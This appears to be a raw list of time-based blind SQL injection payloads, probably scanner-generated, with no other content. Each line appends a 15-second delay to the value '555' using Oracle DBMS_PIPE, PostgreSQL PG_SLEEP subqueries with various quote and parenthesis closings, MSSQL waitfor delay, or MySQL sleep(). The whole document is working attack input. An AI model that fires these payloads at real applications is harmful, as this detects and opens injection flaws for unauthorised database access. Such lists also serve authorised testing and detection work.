555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555gUVPgp9z')) OR 748=(SELECT 748 FROM PG_SLEEP(15))--

555aKW2rqsy') OR 387=(SELECT 387 FROM PG_SLEEP(15))--

55502OgvhDY' OR 763=(SELECT 763 FROM PG_SLEEP(15))--

555-1)) OR 388=(SELECT 388 FROM PG_SLEEP(15))--

555-1) OR 309=(SELECT 309 FROM PG_SLEEP(15))--

555-1; waitfor delay '0:0:15' --

555*if(now()=sysdate(),sleep(15),0)